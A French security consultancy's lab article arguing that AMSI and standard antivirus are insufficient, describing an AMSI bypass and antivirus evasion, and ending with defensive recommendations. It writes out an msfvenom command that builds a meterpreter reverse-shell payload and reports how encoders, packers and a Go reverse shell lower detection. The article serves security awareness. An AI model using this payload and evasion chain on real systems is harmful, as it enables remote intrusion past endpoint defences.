AMSI et Antivirus :
des protections loin d’être suffisantes !
– Audit de (Cyber)sécurité –
Les attaquants peuvent cibler des entreprises pour extraire des données et les revendre ou bien paralyser le SI avec un rançongiel.
Dans une typologie standard d’organisation, chaque collaborateur peut accéder au réseau interne de son entreprise via son VPN et, dans bon nombre de cas, la seule protection dont disposent les utilisateurs sont leur antivirus mais est-ce vraiment suffisant ? (Spoiler : non)
| AMSI et Antivirus, deux choses différentes, même objectif !
La sécurité de votre ordinateur est une préoccupation majeure. Vous comptez probablement sur votre antivirus, et c’est un bon point de départ. Depuis Windows 10, un mécanisme de défense supplémentaire a été intégré : l’AMSI (Anti-Malware Scan Interface). Mais ces protections suffisent-elles à garantir un ordinateur protégé ? La réponse est malheureusement non.
L’AMSI est une technologie intégrée à Windows qui permet aux antivirus d’examiner le code des scripts (PowerShell, VBScript, etc.) et des programmes C# avant leur exécution. Son rôle est de détecter les techniques d’obfuscation utilisées par les malwares pour échapper à la détection. Concrètement, l’AMSI permet aux antivirus d’enregistrer un “provider” et de soumettre du contenu suspect à ces providers pour analyse. Ce système de sécurité contribue à protéger votre ordinateur des programmes malveillants. Cependant, il est crucial de se rappeler qu’installer un logiciel antivirus à lui seul ne suffit pas à éviter toutes les menaces.
En effet, même avec l’AMSI, il est essentiel de respecter certaines règles de sécurité de base, comme choisir des mots de passe complexes et uniques pour chaque compte, éviter de cliquer sur des liens suspects ou d’ouvrir des pièces jointes provenant d’expéditeurs inconnus, et maintenir vos logiciels à jour. De plus, il est recommandé d’activer le pare-feu Windows et d’être vigilant quant aux informations que vous partagez en ligne.
En combinant une protection antivirus solide avec des pratiques de sécurité responsables, vous pouvez renforcer considérablement la sécurité de votre ordinateur et réduire les risques
Cependant, tant l’AMSI que les antivirus traditionnels présentent des limitations :
Les antivirus classiques excellent dans la détection de fichiers malveillants (un exécutable .exe par exemple). Cependant, ils sont moins efficaces face aux scripts malveillants chargés directement en mémoire.
L’AMSI intervient lors de l’exécution d’un script. Si un attaquant parvient à contourner l’AMSI, l’antivirus ne sera pas alerté.
La faille : le contournement de l’AMSI
Une rupture de l’AMSI constitue un point faible important pour votre pc, d’autant plus que de nombreux outils offensifs utilisent PowerShell, un langage de script très répandu dans l’environnement Windows.
| Lab et objectif de l’article.
Sans rentrer dans les détails techniques, l’objectif est de démontrer que l’AMSI et les antivirus “standards” ne suffisent plus à eux seuls pour sécuriser votre appareil. Cependant, il ne faut pas les considérer comme inutiles : ils protègent contre les menaces les plus courantes, notamment celles présentes sur Internet et dans vos e-mails.
Pour nos tests, nous avons utilisé une machine Windows 10 Entreprise (v1809 à jour du 20/03/2020) avec un antivirus du marché. Il est important de vérifier que votre appareil et votre logiciel antivirus sont à jour pour bénéficier de la meilleure protection possible. Cependant, même avec ces protections de base, votre ordinateur reste vulnérable face aux nouvelles attaques dans le temps.
Voici quelques conseils essentiels pour renforcer votre sécurité dans le temps:
Mises à jour régulières: assurez-vous que votre système d’exploitation, vos applications et votre antivirus sont toujours à jour.
Sauvegarde de données: effectuez des sauvegardes régulières de vos données importantes sur un support externe ou dans le cloud. En cas d’attaque, vous pourrez ainsi restaurer rapidement votre environnement.
Utilisation de solutions de sécurité avancées: complétez votre antivirus avec des clés de sécurité plus avancées, telles que des anti-ransomwares ou des outils de détection de menaces comportementales.
N’hésitez pas à consulter notre site pour en savoir plus sur les solutions de protection pour les entreprises et les particuliers. Nous vous proposons également des conseils personnalisés pour utiliser votre ordinateur en toute sécurité. En suivant ces recommandations et en effectuant des sauvegardes régulières de vos données, vous réduirez considérablement les risques de cyberattaques.
| AMSI Bypass.
Comme expliqué avant, lors de l’exécution d’un script malveillant PowerShell celui-ci devrait être bloqué grâce à l’AMSI et votre Antivirus :
Cependant, en 2016, Matt Graeber a mis en ligne un bypass AMSI, qui a attribué à la valeur “amsiInitFailed” une valeur “True“, provoquant ainsi l’échec de l’initialisation de l’AMSI.
La première version n’est plus toujours fonctionnelle, cependant il a créé une seconde qui fonctionne toujours sur les dernières variante de Windows 10 : Si ce bypass est cité ici, sachez qu’il en existe d’autres.
Les équipes de F-Secure ont mené avec le temps des recherches sur le sujet (bypass de Matt Graeber) en présentant un moyen de détecter le contournement de l’AMSI en allant analyser directement la DLL de l’AMSI pour vérifier son intégrité, mais, comme il l’explique, le script doit tourner périodiquement, entre deux scans un attaquant est alors en mesure d’agir. Ce résultat ne représente donc qu’une maigre rustine.
Une solution cependant serait d’interdire l’utilisation de PowerShell aux utilisateurs qui n’en ont pas la nécessité ou d’utiliser des EDR (Endpoint Detection and Response) qui se positionnent sur les couches bas niveau du système et qui sont donc capables d’opérer au niveau de la mémoire.
| Antivirus Bypass.
Dans l’hypothèse où l’outil que l’on souhaite utiliser ne dispose pas de version PowerShell (PE standard, type C/C++ typiquement) ou que pour une raison X ou Y l’outil n’est pas utilisable avec un bypass de l’AMSI il faudra donc certainement trouver une méthode pour contourner l’anti-virus.
Nous n’évoquerons pas ici les rançongiciels qui sont un peu hors catégorie, car en plus du contournement de l’anti-virus lors de son exécution, ils doivent également contourner l’anti-virus sur son comportement (souvent très agressif en cherchant tous les partages joignables, en chiffrant de nombreux dossiers, etc…).
Comme expliqué plus tôt, dès que l’on souhaitera télécharger un programme malveillant, celui-ci sera automatiquement bloqué, voir supprimé par l’anti-virus :
Les dispositifs de sécurité étant conçus pour bloquer, voire éliminer, les logiciels malveillants lors de leur téléchargement, les acteurs malintentionnés se trouvent dans l’obligation de développer des techniques leur permettant de contourner ces protections.
Les tests seront effectués en tentant d’établir une session meterpreter avec un binaire initialement générée via la commande suivante :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.9 LPORT=8080 -f exe -o binaire.exe
Ce binaire est immédiatement détecté lors du téléchargement, de même lors d’une analyse sur VirusTotal. Il est détecté par l’ensemble des antivirus. Il est donc possible de jouer avec les encoders présent dans Metasploit pour réduire le taux de détection.
C’est alors que le contournement d’Anti-Virus devient un vrai casse-tête, soit vous utilisez tout un tas de techniques connues, bien combinées ensemble cela peut faire l’affaire en fonction des situations. Soit, vous créez votre propre technique de bypass.
La solution la plus simple quand on génère un payload meterpreter c’est d’utiliser les encoders à disposition, pour la plateforme x86, le plus réputé est « shikata ga nai », sans rentrer dans les détails, il est basé sur la fonction « XOR ».
Malheureusement, celui-ci est tellement utilisé aujourd’hui qu’à lui seul il ne suffit plus et il est détecté par quasiment tous les antivirus.
Quand on souhaite créer un payload meterpreter, une première étape pour le rendre indétectable c’est de le cacher dans un binaire connu du système.
Si on effectue cette unique étape (sans encodage) et qu’on resoumet notre payload à VirusTotal on descend déjà à seulement 24 antivirus qui détectent notre binaire.
Et si on réutilise notre encoder « shikata ga nai », on arrive au score déjà plutôt intéressant de 10 antivirus détectant notre binaire
Si l’on tente de faire mieux, avec un packer par exemple en utilisant « UPX » qui est un packer bien connu, son objectif est seulement de rendre votre exécutable plus léger en le compressant.
Sur notre version de base sans encoders, on atteint cette fois-ci le résultat de 18 antivirus qui détecte notre binaire et toujours 10 pour la version avec « shikata ga nai ».
Pour notre itération finale, on va utiliser un packer développé par un membre de notre équipe, celui-ci nous permet d’atteindre le score de seulement 2 antivirus qui détecte le payload.
Cette itération nous permet donc de contourner la plupart des antivirus et d’obtenir un reverse-shell meterpreter :
Note : j’utilise ici une version x64 et non x86.
Il est également intéressant de noter que pour les tests, un petit binaire Go de 40 lignes a été créé afin d’établir un reverse-shell et celui-ci est par défaut, non détecté par l’anti-virus :
Et il est également seulement détecté par 2 antivirus sur VirusTotal :
|Comment protéger un ordinateur contre le virus
La protection de votre PC contre les virus passe par l’adoption de bonnes pratiques. Il est essentiel d’activer un antivirus et de le maintenir à jour. Méfiez-vous des fichiers que vous téléchargez depuis internet, et assurez-vous de ne télécharger que des applications provenant de sites sûrs. N’installez jamais de logiciels ou de programmes dont vous ne connaissez pas l’origine. Choisissez des mots de passe complexes et uniques pour vos différents comptes, et activez l’authentification à deux facteurs lorsque cela est possible. Soyez vigilant quant aux documents que vous ouvrez, en particulier ceux provenant d’expéditeurs inconnus ou douteux. En cas de doute, n’hésitez pas à faire appel à un service de maintenance informatique sûr pour vérifier votre système. En suivant ces conseils, vous réduirez considérablement les risques d’infection et assurerez la sécurité de votre PC.
|Conlusion du Lab & Remédiation
Aujourd’hui, le contournement de l’AMSI est donc à portée de n’importe quel attaquant. Le contournement de l’antivirus reste quant à lui une tâche qui n’est pas simple, mais loin d’être impossible avec les bons outils qui sont, pour ce cas, tous publics et donc à la portée de n’importe qui !
Mettre en place une stratégie de cybersécurité efficace est un véritable défi. Elle doit être pensée et déployée dès la conception du système d’information, en respectant des principes fondamentaux tels que le moindre privilège, un cloisonnement robuste (avec des VLAN dédiés à l’administration), un système de sauvegarde fiable, etc.
Cet article souligne que les antivirus “standards” ne suffisent plus à eux seuls pour se protéger contre les attaques actuelles, même si les solutions EDR (Endpoint Detection and Response) peuvent réaliser des analyses comportementales poussées. Ils restent cependant nécessaires dans une approche de défense en profondeur.
Il est crucial de maintenir un pare-feu mis à jour avec les derniers paramètres de sécurité, et de sensibiliser les utilisateurs à ne pas ouvrir de documents provenant de sources inconnues. De plus, il est important de vérifier régulièrement que les logiciels malveillants ne sont pas présents sur la plateforme, et de mettre en place une politique de mots de passe robustes pour l’ensemble des comptes.
En prenant en compte ces éléments et en les intégrant dans une stratégie de sécurité globale, il est possible de renforcer la protection de votre système d’information et de réduire les risques de cyberattaques.